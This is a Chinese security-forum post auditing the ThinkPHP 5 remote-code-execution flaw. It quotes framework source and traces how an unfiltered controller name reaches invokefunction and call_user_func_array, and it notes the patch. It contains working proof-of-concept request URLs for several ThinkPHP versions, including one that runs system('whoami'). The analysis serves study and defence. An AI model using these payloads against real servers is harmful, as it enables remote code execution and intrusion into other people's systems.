安全矩阵

 找回密码
 立即注册
搜索
查看: 2748|回复: 0

Thinkphp5 RCE 代码审计

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-9-1 19:52:27 | 显示全部楼层 |阅读模式
原文链接:Thinkphp5 RCE 代码审计

前言
本着知其然,知其所以然的精神,对thinkphp5 控制器过滤不严导致的RCE漏洞进行了一次审计
  1. POC:

  2. /thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  3. /thinkphp_5.0.22/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  4. /thinkphp5.0.22/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  5. /thinkphp5.1.29/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  6. /thinkphp_5.1.29/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
复制代码

影响版本:thinkphp 5.0.23及以下
  1. 环境:phpstorm+xdebug
  2. Thinkphp_5.0.14_full
  3. phpstorm+xdebug环境可自行百度搭建
  4. poc: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
复制代码

POC效果:
开始审计
前置知识:

入口文件:Thinkphp5的入口文件位于public目录下的index文件

跟进入口文件,先进行了一些配置加载、设置路由规则的工作

加载完之后进入start.php开始执行

Run方法:
  1. public static function run(Request $request = null)
  2. {
  3.         #初始化request对象
  4.         $request = is_null($request) ? Request::instance() : $request;

  5.         try {
  6.             $config = self::initCommon();

  7.             // 模块/控制器绑定
  8.             if (defined('BIND_MODULE')) {
  9.                 BIND_MODULE && Route::bind(BIND_MODULE);
  10.             } elseif ($config['auto_bind_module']) {
  11.                 // 入口自动绑定
  12.                 $name = pathinfo($request->baseFile(), PATHINFO_FILENAME);
  13.                 if ($name && 'index' != $name && is_dir(APP_PATH . $name)) {
  14.                     Route::bind($name);
  15.                 }
  16.             }

  17.             $request->filter($config['default_filter']);

  18.             // 默认语言
  19.             Lang::range($config['default_lang']);
  20.             // 开启多语言机制 检测当前语言
  21.             $config['lang_switch_on'] && Lang::detect();
  22.             $request->langset(Lang::range());

  23.             // 加载系统语言包
  24.             Lang::load([
  25.                 THINK_PATH . 'lang' . DS . $request->langset() . EXT,
  26.                 APP_PATH . 'lang' . DS . $request->langset() . EXT,
  27.             ]);

  28.             // 监听 app_dispatch
  29.             Hook::listen('app_dispatch', self::$dispatch);
  30.             // 获取应用调度信息
  31.             $dispatch = self::$dispatch;

  32.             // 未设置调度信息则进行 URL 路由检测
  33.             if (empty($dispatch)) {
  34.                 $dispatch = self::routeCheck($request, $config);
  35.             }

  36.             // 记录当前调度信息
  37.             $request->dispatch($dispatch);

  38.             // 记录路由和请求信息
  39.             if (self::$debug) {
  40.                 Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
  41.                 Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
  42.                 Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
  43.             }

  44.             // 监听 app_begin
  45.             Hook::listen('app_begin', $dispatch);

  46.             // 请求缓存检查
  47.             $request->cache(
  48.                 $config['request_cache'],
  49.                 $config['request_cache_expire'],
  50.                 $config['request_cache_except']
  51.             );

  52.             $data = self::exec($dispatch, $config);
  53.         } catch (HttpResponseException $exception) {
  54.             $data = $exception->getResponse();
  55.         }

  56.         // 清空类的实例化
  57.         Loader::clearInstance();

  58.         // 输出数据到客户端
  59.         if ($data instanceof Response) {
  60.             $response = $data;
  61.         } elseif (!is_null($data)) {
  62.             // 默认自动识别响应输出类型
  63.             $type = $request->isAjax() ?
  64.             Config::get('default_ajax_return') :
  65.             Config::get('default_return_type');

  66.             $response = Response::create($data, $type);
  67.         } else {
  68.             $response = Response::create();
  69.         }

  70.         // 监听 app_end
  71.         Hook::listen('app_end', $response);

  72.         return $response;
  73. }
复制代码


跟进run方法,首先是自动加载机制autoload加载think\app类

初始化、语言包加载、模块绑定等工作完成后开始获取调度信息dispatch,未设置调度信息则进入routecheck()方法进行url检测

Routecheck方法:
  1. public static function routeCheck($request, array $config)
  2. {
  3.         $path   = $request->path();
  4.         $depr   = $config['pathinfo_depr'];
  5.         $result = false;

  6.         // 路由检测
  7.         $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
  8.         if ($check) {
  9.             // 开启路由
  10.             if (is_file(RUNTIME_PATH . 'route.php')) {
  11.                 // 读取路由缓存
  12.                 $rules = include RUNTIME_PATH . 'route.php';
  13.                 is_array($rules) && Route::rules($rules);
  14.             } else {
  15.                 $files = $config['route_config_file'];
  16.                 foreach ($files as $file) {
  17.                     if (is_file(CONF_PATH . $file . CONF_EXT)) {
  18.                         // 导入路由配置
  19.                         $rules = include CONF_PATH . $file . CONF_EXT;
  20.                         is_array($rules) && Route::import($rules);
  21.                     }
  22.                 }
  23.             }

  24.             // 路由检测(根据路由定义返回不同的URL调度)
  25.             $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
  26.             $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

  27.             if ($must && false === $result) {
  28.                 // 路由无效
  29.                 throw new RouteNotFoundException();
  30.             }
  31.         }

  32.         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
  33.         if (false === $result) {
  34.             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
  35.         }

  36.         return $result;
  37. }
复制代码


跟进routecheck()方法,routecheck方法对pathinfo进行分析(tips:thinkphp的pathinfo格式为模块/控制器/操作/[参数名/参数值])

调用path()方法获取到url的pathinfo信息,返回path=” index/think\app/invokefunction”
格式为模块名:index  
控制器名:think\app
操作名:invokefuncton
Routecheck()方法载入路由,对比pathinfo以生成调度信息

随后进入路由检测,读取路由缓存内容、导入路由配置,随后进入check()方法根据解析的pathinfo信息与路由进行对比,因路由规则中不存在对应的路由信息,返回$result=fasle,代表路由无效,无调度信息

因为根据路由缓存检测出调度信息无效,所以进入parseURL进行URL的解析进行url的解析以再次获取调度信息

跟进parseURL,parseURL中调用了parseUrlPath来解析url,此时url= “index|think\app|invokefunction”。 parseurlPath将url解析为数组形式,$path:{“index”,”think\app”,”invokefunction”},分别为模块、控制器、操作

ParseURL对parseURLpath返回的数组$path进行模块、控制器、操作的解析,得到结果:模块$module = “index”  控制器$controller=”think\app”  操作 $action = “invokefunction”

随后对获取的信息进行路由封装,得到$route = {“index“,”think\app”,”invokefunction”}

继续跟进,对路由进行记录、检测缓存信息,完成后进入exec()方法

Exec方法:
  1. protected static function exec($dispatch, $config)
  2. {
  3.         switch ($dispatch['type']) {
  4.             case 'redirect': // 重定向跳转
  5.                 $data = Response::create($dispatch['url'], 'redirect')
  6.                     ->code($dispatch['status']);
  7.                 break;
  8.             case 'module': // 模块/控制器/操作
  9.                 $data = self::module(
  10.                     $dispatch['module'],
  11.                     $config,
  12.                     isset($dispatch['convert']) ? $dispatch['convert'] : null
  13.                 );
  14.                 break;
  15.             case 'controller': // 执行控制器操作
  16.                 $vars = array_merge(Request::instance()->param(), $dispatch['var']);
  17.                 $data = Loader::action(
  18.                     $dispatch['controller'],
  19.                     $vars,
  20.                     $config['url_controller_layer'],
  21.                     $config['controller_suffix']
  22.                 );
  23.                 break;
  24.             case 'method': // 回调方法
  25.                 $vars = array_merge(Request::instance()->param(), $dispatch['var']);
  26.                 $data = self::invokeMethod($dispatch['method'], $vars);
  27.                 break;
  28.             case 'function': // 闭包
  29.                 $data = self::invokeFunction($dispatch['function']);
  30.                 break;
  31.             case 'response': // Response 实例
  32.                 $data = $dispatch['response'];
  33.                 break;
  34.             default:
  35.                 throw new \InvalidArgumentException('dispatch type not support');
  36.         }

  37.         return $data;
  38. }
复制代码


跟进exec()方法,exec根据dispatch数组中type字段的值进入module分支,并调用module方法

跟进module方法,module方法首先对模块进行部署、初始化、缓存检查

随后module方法获取模块名index、控制器名think\app、操作名invokefunction

随后分别进入controller()方法、parseName()方法、action()方法设置控制器、操作并载入


设置并加载控制器、操作后通过is_callable()查看invokefunction是否能被调用,若不可调用则抛出404不存在

随后进入invokemethod方法

跟进invokemethod,invokemethod通过反射机制ReflectionMethod调用操作invokefunction,bindParams用于获取绑定参数 args = {“call_user_func_array”,”{system”, {“whoami”}}”}

此时通过反射机制将调用操作指定为invokefunction ,将参数绑定为args = {“call_user_func_array”,”{system”, {“whoami”}}”}
随后进入invokeargs方法,invokeargs通过反射进入invokefunction方法,在此设置反射为call_user_func_array(),绑定参数为system和whoami

再次调用invokeargs()方法,成功调用call_user_func(system(“whoami”))达到远程代码执行的目的

退出module达到命令执行目的

总结
结合此次RCE审计流程来看,漏洞点主要是解析pathinfo的时候并没有对控制器操作进行过滤,导致恶意用户将控制器操作指向invokefunction,再结合call_user_fun_array达到了远程代码任意执行的攻击效果,通过对比thinkphp发布的补丁可以看出,thinkphp通过增加对控制器名的过滤达到修复。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 17:39 , Processed in 0.013769 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表